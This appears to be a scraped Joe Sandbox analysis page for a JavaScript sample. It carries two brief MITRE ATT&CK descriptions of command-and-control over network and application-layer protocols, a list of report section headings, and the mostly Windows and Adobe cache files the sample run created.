Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16042278381135117219.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\830f5e10-f170-4cf8-942c-5dd5bbe89688.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7944

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
16042278381135117219.js